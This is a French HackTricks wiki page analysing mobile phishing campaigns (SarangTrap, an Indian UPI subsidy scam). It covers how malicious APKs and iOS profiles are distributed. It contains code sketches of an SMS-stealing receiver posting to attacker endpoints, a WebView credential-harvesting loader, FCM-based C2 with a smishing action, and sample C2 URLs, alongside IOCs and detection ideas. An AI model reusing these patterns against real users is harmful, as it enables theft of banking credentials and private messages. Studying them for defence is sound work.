Phishing Mobile & Distribution d'Applications Malveillantes (Android & iOS)
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
info
Cette page couvre les techniques utilisées par les acteurs de la menace pour distribuer des APK Android malveillants et des profils de configuration mobile iOS via le phishing (SEO, ingénierie sociale, faux magasins, applications de rencontre, etc.). Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.
Flux d'Attaque
- Infrastructure SEO/Phishing
- Enregistrer des dizaines de domaines similaires (rencontre, partage de cloud, service de voitureâŠ).
â Utiliser des mots-clĂ©s et des emojis en langue locale dans l'Ă©lĂ©ment
<title>
pour se classer sur Google. â HĂ©berger Ă la fois les instructions d'installation Android (.apk
) et iOS sur la mĂȘme page d'atterrissage.
- TĂ©lĂ©chargement de PremiĂšre Ătape
- Android : lien direct vers un APK non signĂ© ou âmagasin tiersâ.
- iOS :
itms-services://
ou lien HTTPS simple vers un profil mobileconfig malveillant (voir ci-dessous).
- Ingénierie Sociale Post-Installation
- Au premier lancement, l'application demande un code d'invitation / de vérification (illusion d'accÚs exclusif).
- Le code est POSTĂ© en HTTP vers le Command-and-Control (C2).
- C2 répond
{"success":true}
â le malware continue. - L'analyse dynamique Sandbox / AV qui ne soumet jamais un code valide ne voit aucun comportement malveillant (Ă©vasion).
- Abus de Permissions d'Exécution (Android)
- Les permissions dangereuses ne sont demandées qu'aprÚs une réponse positive du C2 :
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Les anciennes versions demandaient également des permissions SMS -->
- Les variantes récentes suppriment
<uses-permission>
pour SMS deAndroidManifest.xml
mais laissent le chemin de code Java/Kotlin qui lit les SMS par rĂ©flexion â abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via l'abus deAppOps
ou d'anciens cibles.
- Interface Facade & Collecte en ArriĂšre-plan
- L'application montre des vues inoffensives (visualiseur de SMS, sélecteur de galerie) implémentées localement.
- Pendant ce temps, elle exfiltre :
- IMEI / IMSI, numéro de téléphone
- Dump complet de
ContactsContract
(tableau JSON) - JPEG/PNG de
/sdcard/DCIM
compressé avec Luban pour réduire la taille - Contenu SMS optionnel (
content://sms
) Les charges utiles sont compressées par lots et envoyées viaHTTP POST /upload.php
.
- Technique de Livraison iOS
- Un seul profil de configuration mobile peut demander
PayloadType=com.apple.sharedlicenses
,com.apple.managedConfiguration
, etc. pour inscrire l'appareil dans une supervision de type âMDMâ. - Instructions d'ingĂ©nierie sociale :
- Ouvrir RĂ©glages â Profil tĂ©lĂ©chargĂ©.
- Appuyer sur Installer trois fois (captures d'écran sur la page de phishing).
- Faire confiance au profil non signĂ© â l'attaquant obtient les droits Contacts & Photo sans rĂ©vision de l'App Store.
- Couche Réseau
- HTTP simple, souvent sur le port 80 avec un en-tĂȘte HOST comme
api.<phishingdomain>.com
. User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)
(pas de TLS â facile Ă repĂ©rer).
Tests DĂ©fensifs / Conseils pour Ăquipe Rouge
- Bypass d'Analyse Dynamique â Lors de l'Ă©valuation du malware, automatisez la phase de code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
- DiffĂ©rence Manifest vs. Runtime â Comparez
aapt dump permissions
avecPackageManager#getRequestedPermissions()
Ă l'exĂ©cution ; l'absence de permissions dangereuses est un signal d'alarme. - Canari RĂ©seau â Configurez
iptables -p tcp --dport 80 -j NFQUEUE
pour dĂ©tecter des pics de POST non solides aprĂšs la saisie du code. - Inspection de mobileconfig â Utilisez
security cms -D -i profile.mobileconfig
sur macOS pour listerPayloadContent
et repérer des droits excessifs.
IdĂ©es de DĂ©tection pour Ăquipe Bleue
- Transparence des Certificats / Analytique DNS pour attraper des pics soudains de domaines riches en mots-clés.
- User-Agent & Regex de Chemin :
(?i)POST\s+/(check|upload)\.php
des clients Dalvik en dehors de Google Play. - TĂ©lĂ©metrie de Code d'Invitation â POST de codes numĂ©riques de 6 Ă 8 chiffres peu aprĂšs l'installation de l'APK peut indiquer une mise en scĂšne.
- Signature de MobileConfig â Bloquez les profils de configuration non signĂ©s via la politique MDM.
Extrait Frida Utile : Bypass Automatique du Code d'Invitation
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
Java.perform(function() {
var URL = Java.use('java.net.URL');
URL.openConnection.implementation = function() {
var conn = this.openConnection();
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
if (Java.cast(conn, HttpURLConnection)) {
conn.getResponseCode.implementation = function(){ return 200; };
conn.getInputStream.implementation = function(){
return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
};
}
return conn;
};
});
Indicateurs (Généraux)
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
Android WebView Payment Phishing (UPI) â Dropper + FCM C2 Pattern
Ce modÚle a été observé dans des campagnes abusant de thÚmes liés aux aides gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaßnent des plateformes réputées pour la livraison et la résilience.
ChaĂźne de livraison Ă travers des plateformes de confiance
- AppĂąt vidĂ©o YouTube â la description contient un lien court
- Lien court â site de phishing GitHub Pages imitant le portail lĂ©gitime
- Le mĂȘme dĂ©pĂŽt GitHub hĂ©berge un APK avec un faux badge âGoogle Playâ liant directement au fichier
- Des pages de phishing dynamiques vivent sur Replit ; le canal de commande Ă distance utilise Firebase Cloud Messaging (FCM)
Dropper avec charge utile intégrée et installation hors ligne
- Le premier APK est un installateur (dropper) qui expĂ©die le vĂ©ritable malware Ă
assets/app.apk
et invite l'utilisateur Ă dĂ©sactiver le WiâFi/donnĂ©es mobiles pour attĂ©nuer la dĂ©tection dans le cloud. - La charge utile intĂ©grĂ©e s'installe sous une Ă©tiquette inoffensive (par exemple, âMise Ă jour sĂ©curisĂ©eâ). AprĂšs l'installation, l'installateur et la charge utile sont prĂ©sents en tant qu'applications sĂ©parĂ©es.
Astuce de triage statique (grep pour les charges utiles intégrées) :
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
Découverte dynamique des points de terminaison via un lien court
- Le malware récupÚre une liste de points de terminaison actifs au format texte brut, séparée par des virgules, à partir d'un lien court ; des transformations de chaßne simples produisent le chemin final de la page de phishing.
Exemple (sanitisé) :
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" â "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
Pseudo-code:
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
Collecte de données d'identification UPI basée sur WebView
- L'Ă©tape âEffectuer un paiement de âč1 / UPIâLiteâ charge un formulaire HTML de l'attaquant Ă partir du point de terminaison dynamique Ă l'intĂ©rieur d'un WebView et capture des champs sensibles (tĂ©lĂ©phone, banque, PIN UPI) qui sont
POST
Ă©s Ăaddup.php
.
Loader minimal :
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
Auto-propagation et interception de SMS/OTP
- Des autorisations agressives sont demandées au premier lancement :
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
- Les contacts sont utilisés pour envoyer en masse des SMS de smishing depuis l'appareil de la victime.
- Les SMS entrants sont interceptés par un récepteur de diffusion et téléchargés avec des métadonnées (expéditeur, corps, emplacement de la SIM, ID aléatoire par appareil) vers
/addsm.php
.
Receiver sketch:
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
Firebase Cloud Messaging (FCM) comme C2 résilient
- Le payload s'enregistre auprĂšs de FCM ; les messages push contiennent un champ
_type
utilisé comme un interrupteur pour déclencher des actions (par exemple, mettre à jour les modÚles de texte de phishing, basculer les comportements).
Exemple de payload FCM :
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
Esquisse du gestionnaire :
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
Hunting patterns and IOCs
- APK contient un payload secondaire Ă
assets/app.apk
- WebView charge le paiement depuis
gate.htm
et exfiltre vers/addup.php
- Exfiltration SMS vers
/addsm.php
- Récupération de configuration via des liens courts (par exemple,
rebrand.ly/*
) retournant des points de terminaison CSV - Applications Ă©tiquetĂ©es comme âMise Ă jour/SĂ©curiser la mise Ă jourâ
- Messages
data
FCM avec un discriminateur_type
dans des applications non fiables
Detection & defence ideas
- Marquer les applications qui demandent aux utilisateurs de désactiver le réseau pendant l'installation puis chargent un second APK depuis
assets/
. - Alerter sur le tuple de permission :
READ_CONTACTS
+READ_SMS
+SEND_SMS
+ flux de paiement basés sur WebView. - Surveillance des sorties pour
POST /addup.php|/addsm.php
sur des hĂŽtes non corporatifs ; bloquer l'infrastructure connue. - RĂšgles EDR mobiles : application non fiable s'enregistrant pour FCM et se ramifiant sur un champ
_type
.
References
- The Dark Side of Romance: SarangTrap Extortion Campaign
- Luban â Android image compression library
- Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)
- Firebase Cloud Messaging â Docs
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.